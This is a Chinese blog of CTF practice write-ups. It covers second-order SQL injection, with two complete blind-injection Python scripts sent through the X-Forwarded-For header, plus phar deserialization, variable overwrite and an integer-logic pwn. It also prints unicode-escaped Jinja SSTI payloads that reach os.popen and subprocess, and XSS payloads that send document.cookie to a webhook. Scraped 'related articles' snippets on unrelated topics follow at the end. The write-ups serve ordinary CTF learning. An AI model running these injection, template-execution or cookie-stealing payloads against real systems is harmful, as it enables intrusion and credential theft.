PWARL CTF and others


title: 一些复杂点的题目
date: 2024-03-09 16:05:24
tags: CTF

2024年3月9日

今日习题完成:
1.BUU [网鼎杯 2020 半决赛]AliceWebsite
2.[RoarCTF 2019]Online Proxy
3.[Polar CTF]到底给不给flag呢
4.网鼎杯 2020 总决赛]Game Exp


[RoarCTF 2019]Online Proxy

这个题目利用知识点是二次注入,但我一开始只发现了注视下的current ip 和last ip在变,我还以为是sstl注入因为之前做过类似的,后来看了wp才知道竟然是sql语句。。

$result = query("select current_ip, last_ip from ip_log where uuid = '".addslashes($uuid)."'");

// 如果存在以前的记录
if(count($result) > 0) {
    // 检查当前IP是否与数据库中存储的最新IP不同
    if($ip !== $result[0]['current_ip']) {
        // 如果IP地址已更改,存储数据库中的最新IP地址以备用
        $last_ip = $result[0]['current_ip'];
        // 删除旧的IP日志记录
        query("delete from ip_log where uuid='".addslashes($uuid)."'");
    } else {
        // 如果IP地址未更改,存储数据库中存储的上一次IP地址
        $last_ip = $result[0]['last_ip'];
    }
}

// 向IP日志表中插入当前UUID、当前IP和上一次IP的记录
query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');");

// 打印调试信息,包括执行时间、当前IP地址以及上一次IP地址(如果有的话)
die("\n<!-- Debug Info: \n Duration: $time s \n Current Ip: $ip ".($last_ip !== "" ? "\nLast Ip: ".$last_ip : "")." -->");

假设一个用户首次访问网站时,其UUID为"123456",当前IP为"192.168.1.100",并且数据库中没有任何与该UUID相关的记录。那么,当用户访问时,以下情况将发生:

首先,数据库中没有与UUID “123456” 相关的记录,因此 count( r e s u l t ) 将为 0 ,所以代码将直接跳过 i f ( c o u n t ( result) 将为0,所以代码将直接跳过 if(count( result)将为0,所以代码将直接跳过if(count(result) > 0) 部分。

接着,程序会直接执行插入操作 query(“insert into ip_log values (‘123456’,
‘192.168.1.100’, ‘’);”),插入一条新的IP记录到数据库中。

最后,将调试信息打印出来,由于这是首次记录,上一次IP为空,所以调试信息会显示当前IP为"192.168.1.100",没有上一次IP地址。

现在假设同一用户之后再次访问,但是IP地址已经更改为"10.0.0.1",那么以下情况将发生:

程序将查询数据库以获取UUID为"123456"的IP日志记录。

由于上一步中已经有记录,count( r e s u l t ) 将大于 0 ,所以程序将进入 i f ( c o u n t ( result) 将大于0,所以程序将进入 if(count( result)将大于0,所以程序将进入if(count(result) > 0) 分支。

程序将检查当前IP是否与数据库中存储的最新IP不同。因为当前IP是"10.0.0.1",而数据库中最新的IP是"192.168.1.100",所以两者不同。

在这种情况下,程序将存储数据库中的最新IP地址以备用,并且删除旧的IP日志记录。

接着,程序会插入新的IP记录到数据库中,此时上一次IP地址将被设置为"192.168.1.100"。

最后,将调试信息打印出来,显示当前IP为"10.0.0.1",上一次IP地址为"192.168.1.100"。

这样,每次用户访问时,都会记录其当前IP地址,并与上一次记录的IP地址进行比较和更新。

所以利用的就是查询LastIp时构造闭合语句来查询数据库信息。

query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');");

这里我们可以用盲注来写

import requests

url = "http://node5.buuoj.cn:25765/"
head = {

    "GET": "/ HTTP/1.1",
    "Cookie": "track_uuid=f6eb975d-5dfe-49d7-f43c-8b888ee993d5",
    "X-Forwarded-For": ""
}
result = ""
for i in range(1, 100):
    l = 32
    r = 127
    mid = (l + r) >> 1
    while (l < r):
        # head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1} or '0".format(i,mid)
        # head["X-Forwarded-For"] = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{0},1))>{1} or '0".format(i, mid)
        # head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(column_name) from information_schema.columns where(table_name='F4l9_t4b1e')),{0},1))>{1} or '0".format(i, mid)
        head[
            "X-Forwarded-For"] = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{0},1))>{1} or '0".format(
            i, mid)
        html_0 = requests.post(url, headers=head)
        head["X-Forwarded-For"] = "1111"
        html_0 = requests.post(url, headers=head)
        html_0 = requests.post(url, headers=head)
        if "Last Ip: 1" in html_0.text:
            l = mid + 1
        else:
            r = mid
        mid = (l + r) >> 1
    if (mid == 32 or mid == 127):
        break
    result += chr(mid)
    print(result)

还有更快的

import requests

url = "http://node5.buuoj.cn:25765/"


def execsql(sql):
    result = ""
    payload = "0'|length((" + sql + "))|'0"
    session = requests.session()
    r = session.get(url, headers={

        'X-Forwarded-For': payload})
    r = session.get(url, headers={

        'X-Forwarded-For': 'leekos'})
    r = session.get(url, headers={

        'X-Forwarded-For': 'leekos'})
    start = r.text.find("Last Ip: ") + 9
    end = r.text.find(" -->", start)
    length = int(r.text[start:end])
    print("[+]长度:" + str(length))

    for i in range(1, length + 1, 5):  # 1次查5个字符,妙
        payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql, i)
        r = session.get(url, headers={

            'X-Forwarded-For': payload})
        print(r.text)
        r = session.get(url, headers={

            'X-Forwarded-For': 'leekos'})
        print(r.text)
        r = session.get(url, headers={

            'X-Forwarded-For': 'leekos'})
        print(r.text)
        start = r.text.find("Last Ip: ") + 9
        end = r.text.find(" -->", start)
        res = int(r.text[start:end])
        result += bytes.fromhex(hex(res)[2:]).decode("utf-8")
        print(result)

    return result


# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

都是找的大佬的脚本,我只是脚本小子…

到底给不给flag呢

这道题是一个变量覆盖还挺绕的,核心意思就是传入一个数hello=1,那么你就会有一个$hello=1,那么$hello= 1 。这里要输出 f l a g ,我们当然时不能改变 f l a g 的值,但我们没法直接读 1。 这里要输出flag,我们当然时不能改变flag的值,但我们没法直接读 1。这里要输出flag,我们当然时不能改变flag的值,但我们没法直接读flag,我们要构建一个变量等于flag的字母,所以先输入c=flag,这样就有了$c=$flag,再输入flag=c,在把flag值拿回来,其实利用了一个诺汉塔的思想。其实可以自己建个环境来看看输出值会清楚一点
在这里插入图片描述

网鼎杯 2020 总决赛]Game Exp

给了源码一道代码审计题,但里面文件太多了,我找半天以为是反序列化mysql类进行sql构造写马,如果有感兴趣这个思路的可以去做一下ctfshow元旦杯的题目里面有个类似的。
这里其实是一道phar文件反序列化题目,核心在于注册代码的上传图片,一开始没仔细看里面竟然有个之间的代码eval

<?php

class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
if (file_exists($filename))
        {
            echo "<script>alert('文件已经存在');</script>";
        }

思路就是:
先注册一个用户,上传构造的phar文件,然后再去注册页面那里,利用注册,在username里面传phar://,后面在进行拼接时会让filename变成phar://.extension,再用file_exists触发phar.

这样就成功在login目录下生成一个名字为 ph1.jpg 的文件,接着使用phar协议去对其进行反序列化调用,我们需要构造phar:///var/www/html/login/ph1.jpg,因此在注册页面再上传随便一个jpg文件,而username为 phar:///var/www/html/login/test,经过处理拼接之后就成功构造。

我们先上传构造的文件

在这里插入图片描述

这里文件名是,所以我们username是test,文件名就是test.jpg

$filename = $username.".".$extension;
在这里插入图片描述

核心思想其实就是普通phar,这里难点我觉得是找到这个点还有想到衔接phar构成读取。

最大问题应该就是题目干扰比较多,里面还有一个finger下的php文件,一个疑似ssrf的点,所以删选能力也很重要


2024年3月10日

今日习题完成:

1.[PEARL] 我是网络小白
2.[PEARL]rabbithole
3.[PEARL]learn HTTP
4.[PEARL]usual


[PEARL] 我是网络小白

这道题目很有意思,也通过这个题目来进行研究了一下sstl的题目,

一个登陆框进去,输入内容后发现url上显示了输入对应的字符,第一反应就是sstl,但输入{{1+2}}发现不行,明显有过滤的一些操作,一开始想着用fenjing一把梭,但梭不出来,后来想着看看黑名单一个个过滤先试试,但记录的几种绕过由于自身对sstl理解有限不知道怎么样语法合适,根据关键词搜索下看看有没有相关例题来参考下,后来发现有类似的过滤config,我想尝试拼接绕过复写字符,但因为它是换成空格就没办法了,再后来看到一个unicode的绕过,我就试了下,发现有回显,我还担心无回显题那就难了,幸好输入

在这里插入图片描述

url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}

拿到了class类,不过这没什么用再尝试看看globals,然后利用alobals里面的os来拿os的popen来执行命令

url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}(Unicode编码有回显,这条payload#  # 等效于{{””.__class__}}

url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%}
# (等效于{{lipsum.__globals__}}

# 等效{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr(popen)("cat /f*")|attr("read")())%}                
{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22\u006f\u0073%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0063\u0061\u0074\u0020\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074%22)|attr(%22read%22)())%}

别人的payload

It can be SSTI, , then i tested manually for it and got to know that some of the objects (classes, mro, base more) and operators are blacklisted then i wrote a payload (using hit and trial approach) and made this: {%print(request|attr(%22application%22)|attr(%22\x5f\x5fglobals\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(%22\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(%27\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f%27)(%22subprocess%22)|attr(%22\x63\x68\x65\x63\x6b\x5f\x6f\x75\x74\x70\x75\x74%22)(%22cat+flag.txt%22,shell=1))%}

拿到flag,要说核心就是一个unicode绕过不难,就是名单绕过需要自己想想,还是需要归纳总结一下,也许下一次遇到的就是八进制绕过了。

在这里插入图片描述

[PEARL]rabbithole

这道题目我觉得很抽象,一开始看userid是guest还有给了疑似密钥的东西,我以为是一个session伪造或者flask框架问题,但没想到意思是访问hardworking页面并用s3cr3t1v3_m3th0d方法访问。然后直接拿到flag,太抽象了,感觉像杂项。。。。

在这里插入图片描述

[PEARL]learn HTTP

这个题目是第一题但我觉得这个难度高点,而且解题想法也很好,学到很多。

不过也不知道为什么这么做,但还是可以想到是要xss,因为题目说管理员会check flag,一般就是要拿到cookie,服务器上监听一下然后拿到token,这里的token是直接拿来jwt爆破的,密钥是banana,这里管理员id是1,把它改称admin就可以了。

image-20240310164223941

webhook = "??"
script = `<img src=x οnerrοr="fetch('${webhook}?'+document.cookie)" />`
payload = "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: "+script.length+"\r\n\r\n"+script

const urlencoded = new URLSearchParams();
urlencoded.append("body", payload);

fetch("https://learn-http.ctf.pearlctf.in/check", {
  method: "POST",
  headers: {"Content-Type":"application/x-www-form-urlencoded"},
  body: urlencoded,
})
build = (p) => "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: "+p.length+"\r\n\r\n"+p
build_url = (p) => `http://localhost:5001/resp?body=${encodeURIComponent(p)}`

webhook = "???"
img = `<img src=x id="abc" />`
script = `abc.src="${webhook}/" + document.cookie`
payload = `${img} <script defer src="${build_url(build(script))}"></script>`;
payload = build(payload)
web_url = "http://localhost:5000"
webhook = "??"
xss = `<img src=x οnerrοr="fetch('${webhook}?'+document.cookie)" />`
build = (p) => "HTTP/1.1 302 Found\r\nLocation: "+web_url+"/learn\r\nSet-Cookie: name="+xss+"ello;path=/\r\nContent-Length: "+p.length+"\r\n\r\n"+p
payload = build("")

详情看官方wp

https://github.com/kimbius/CTF-Writeups/tree/main/PearlCTF2024/web/learn%20HTTP/better

[PEARL]usual

这道题目挺有意思的,其实脚本不难,难点在于第二个read_uint函数不能读取负数,所以没法构成整数溢出,开始的思路是构成溢出来增加金币来买flag,但发现4选项本身没有获取flag,再去看3选项有输入,明显就是构造溢出,只需要溢出覆盖到flag就可以了,那这里有一个trick就是输入一个字符可以绕过.

int main_loop()
{
  unsigned int v1; // [rsp+8h] [rbp-18h] BYREF
  unsigned int v2; // [rsp+Ch] [rbp-14h] BYREF
  const char *v3; // [rsp+10h] [rbp-10h]
  unsigned int v4; // [rsp+18h] [rbp-8h]
  unsigned int v5; // [rsp+1Ch] [rbp-4h]

  v5 = 100;
  while ( 1 )
  {
    while ( 1 )
    {
      printf("%s", MENU);
      printf("Your balance is $%d\n", v5);
      v2 = 0;
      v3 = "What would you like to buy? (1-5) ";
      if ( (unsigned int)read_uint(&v2, "What would you like to buy? (1-5) ") != -1 && v2 && v2 <= 5 )
        break;
      puts("I'm afraid we don't sell that");
    }
    if ( v2 == 5 )
      break;
    v1 = 0;
    v3 = "How many would you like? ";
    if ( (unsigned int)read_uint(&v1, "How many would you like? ") == -1 )
    {
      puts("I can't sell that many");
    }
    else if ( (unsigned int)can_afford(v5, v1, v2) )
    {
      v4 = 0;
      do
      {
        switch ( v2 )
        {
          case 1u:
            v5 -= 10;
            print_quote();
            break;
          case 2u:
            v5 -= 45;
            print_art();
            break;
          case 3u:
            v5 -= 130;
            print_stand();
            break;
          case 4u:
            puts("Sorry, the flag is under maintenance");
            break;
          default:
            return puts("Goodbye!");
        }
        ++v4;
      }
      while ( v4 < v1 );
    }
    else
    {
      puts("You can't afford that");
    }
  }
  return puts("Goodbye!");
}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/450886.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

适合上班族的副业:steam游戏搬砖1天3小时,月入8K

互联网新时代&#xff0c;做副业的人越来越多。如果能充分利用下班后的时间&#xff0c;还真能赚到不少钱。steam游戏搬砖项目就是这样一个非常适合上班的副业&#xff0c;只要用心去操作&#xff0c;一个月至少收入两三千&#xff0c;多的轻松上万。 steam游戏搬砖项目其实做的…

【NR 定位】3GPP NR Positioning 5G定位标准解读(十四)-DL-TDOA 定位

前言 3GPP NR Positioning 5G定位标准&#xff1a;3GPP TS 38.305 V18 3GPP 标准网址&#xff1a;Directory Listing /ftp/ 【NR 定位】3GPP NR Positioning 5G定位标准解读&#xff08;一&#xff09;-CSDN博客 【NR 定位】3GPP NR Positioning 5G定位标准解读&#xff08;…

微信小程序(五十七)打开腾讯地图选择位置

注释很详细&#xff0c;直接上代码 前提配置看第五十四篇&#x1f427; 上一篇 新增内容&#xff1a; 1.使用地图选择位置的方法让用户重新选择大概的位置 2.留下经纬度接口以便于更新新的附近位置列表 源码&#xff1a; index.wxml <button bind:tap"chooseLocation…

java中的File

路径&#xff1a; 相对路径&#xff1a;相对路径是不带盘符的&#xff0c;它是相对于项目而言的 例如&#xff1a; “a.txt” “abc\a.txt” 绝对路径&#xff1a;绝对路径是带盘符的 &#xff0c;是相对于计算机而言。 例如&#xff1a; “C:\a.txt” “C:\abc\a.txt” Fil…

2024鸿蒙迎来大爆发,有必要转行鸿蒙开发吗?

鸿蒙开发&#xff0c;这个名字最近在科技圈引起了不小的轰动。 那么&#xff0c;鸿蒙开发到底是什么呢&#xff1f;它又能给我们带来怎样的影响呢&#xff1f; 鸿蒙开发&#xff0c;简单来说&#xff0c;就是基于鸿蒙操作系统的一种应用开发方式。鸿蒙系统&#xff0c;作为华为…

诗词生成之setting

先上代码&#xff1a; # 禁用词&#xff0c;包含如下字符的唐诗将被忽略 DISALLOWED_WORDS [&#xff08;, &#xff09;, (, ), __, 《, 》, 【, 】, [, ]] # 句子最大长度 MAX_LEN 64 # 最小词频 MIN_WORD_FREQUENCY 8 # 训练的batch size BATCH_SIZE 16 # 数据集路径 DA…

机器学习(选修)(持续更新)

Gradient Descent 1、一般我们会得到一组参数 &#xff0c;它是由很多组weight和bias组成的。 2、首先&#xff0c;我们在处理数据的时候&#xff0c;会选择一个初始化参数 3、其次&#xff0c;我们计算每个与w的偏微分&#xff0c;把他们组成矩阵的形式&#xff0c;如下图&…

C++ Qt开发:QNetworkAccessManager网络接口组件

Qt 是一个跨平台C图形界面开发库&#xff0c;利用Qt可以快速开发跨平台窗体应用程序&#xff0c;在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置&#xff0c;实现图形化开发极大的方便了开发效率&#xff0c;本章将重点介绍如何运用QNetworkAccessManager组件实现Web网…

数字脉搏:互联网的演进与社会脉络

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的扑克牌识别软件(Python+PySide6界面+训练代码)

摘要&#xff1a;开发扑克牌识别软件对于智能辅助决策工具的建立具有关键作用。本篇博客详细介绍了如何运用深度学习构建一个扑克牌识别软件&#xff0c;并提供了完整的实现代码。该系统基于强大的YOLOv8算法&#xff0c;并对比了YOLOv7、YOLOv6、YOLOv5&#xff0c;展示了不同…

【网站项目】010新能源汽车在线租赁

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

谷歌seo外链重要还是内容重要?

想做网站&#xff0c;内容跟外链缺一不可&#xff0c;如果真的要说哪个更重要&#xff0c;那内容依旧是网站的核心&#xff0c;而外链则是额外的加分项 内容永远是王道&#xff0c;不管谷歌seo的算法怎么变&#xff0c;只要你的内容没问题&#xff0c;那就肯定不会牵扯到你的网…

羊大师揭秘羊奶滋养,养生的新黄金选择

羊大师揭秘羊奶滋养&#xff0c;养生的新黄金选择 羊奶&#xff0c;这个自古以来的天然营养佳品&#xff0c;近年来逐渐受到现代人的青睐&#xff0c;成为养生的新黄金选择。它以其独特的营养价值和滋养功效&#xff0c;为追求健康生活的我们提供了全新的养生视角。 羊奶的滋…

SAP 批量删除工艺路线和主配方_简介

通常我们在创建工艺路线的时候或者在导入工艺路线的时候,会存在数据导入出错,或者你创建的工艺路线需要删除的情况,通常情况下我们第一个想到的就是使用CA02或者C202去删除工艺路线或者是主配方。但是这样会存在一个问题就是,首先我们知道工艺路线和主配方都是存在在组里面…

【JAVA】程序包sun.XXX不存在;开启idea中Services面板

一. 程序包sun.XXX不存在 报错 &#xff1a;程序包sun.font不存在原因&#xff1a;使用的 jdk 默认为 11解决&#xff1a;将jdk版本替换为 1.8 &#xff08;1&#xff09;File — Project Structure 或 Ctrl Alt Shift S 二. 开启Idea中Services面板 .idea - workspace.…

【递归搜索回溯专栏】专题二:二叉树中的深搜----求根节点到叶节点数字之和

本专栏内容为&#xff1a;递归&#xff0c;搜索与回溯算法专栏。 通过本专栏的深入学习&#xff0c;你可以了解并掌握算法。 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn ⏩专栏分类&#xff1a;递归搜索回溯专栏 &#x1f69a;代码仓库&#xff1a;小小unicorn的代…

NXP Auto HVBMS S32DS 参数配置卡顿解决办法:使用 EB 替代 S32DS Configuration Tools

一、背景介绍 用户在 Automotive Software Package Manager | NXP Semiconductors 可以下载 S32K344 或者是 S32K358 的 HVBMS 捆绑包。 其中包含有 IDE&#xff1a;S32DS&#xff0c;基于 S32DS 的基础软件包以及 RTD 插件包&#xff0c;MCAL 配置工具&#xff1a;EB …

内网渗透-跨域环境渗透-1

目录 smbclient工具 mimikatz工具 Kerbers协议 NTLM认证 hash传递攻击&#xff08;PTH攻击&#xff09; 黄金票据攻击 白银票据 MS14-068 smbclient工具 在linux里面连接远程windows共享目录&#xff0c;可以使用这个工具 ​ 第一种连接方式&#xff1a;smbclient -L 目…

【组合回溯递归】【树层去重used标记】Leetcode 40. 组合总和 II

【组合回溯递归】【树层去重used标记】Leetcode 40. 组合总和 II 解法 组合问题常用解法 树层去重 ---------------&#x1f388;&#x1f388;40. 组合总和 II 题目链接&#x1f388;&#x1f388;------------------- 解法 组合问题常用解法 树层去重 问题描述&#xff1…

GIS人必备神器降临!快速搞定洪水淹没分析!ArcGIS AddIn无源淹没分析插件!

最近有很多小伙伴给我发私信&#xff0c;想使用我开发的一款基于无源淹没分析算法对洪水淹没进行分析的GIS插件。大部分小伙伴是因为看了我之前发的一个讲解洪水淹没分析算法的视频&#xff0c;在视频中我给大家展示了给某高校水利课题组开发的两款用于洪水淹没分析的插件&…